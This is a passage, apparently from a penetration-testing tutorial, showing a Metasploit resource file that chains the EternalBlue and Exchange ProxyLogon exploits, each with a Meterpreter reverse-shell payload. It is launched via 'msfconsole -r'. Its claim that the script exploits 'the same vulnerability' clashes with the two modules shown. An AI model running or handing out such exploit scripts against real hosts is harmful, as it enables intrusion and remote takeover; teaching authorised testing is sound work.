Exploiting multiple targets using MSF resource files
MSF resource files are basically line-separated text files that include a sequence of commands that need to be executed in msfconsole
. Let’s go ahead and create a resource file that can exploit the same vulnerability on multiple hosts:
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 4444
exploit -j
use exploit/windows/http/exchange_proxylogon_rce
set payload windows/meterpreter/reverse_https
set rhost xx.xx.xx.xx
set lhost xx.xx.xx.xx
set lport 443
exploit -j
Save the file as multiexploit.rc
. Now you are ready to invoke the resource file by running msfconsole -r filename.rc
, where -r
refers to the resource file. The preceding resource file will exploit the same vulnerability sequentially. Once the first exploit is complete, the specification of exploit -j
will move the running exploit to the background, allowing the...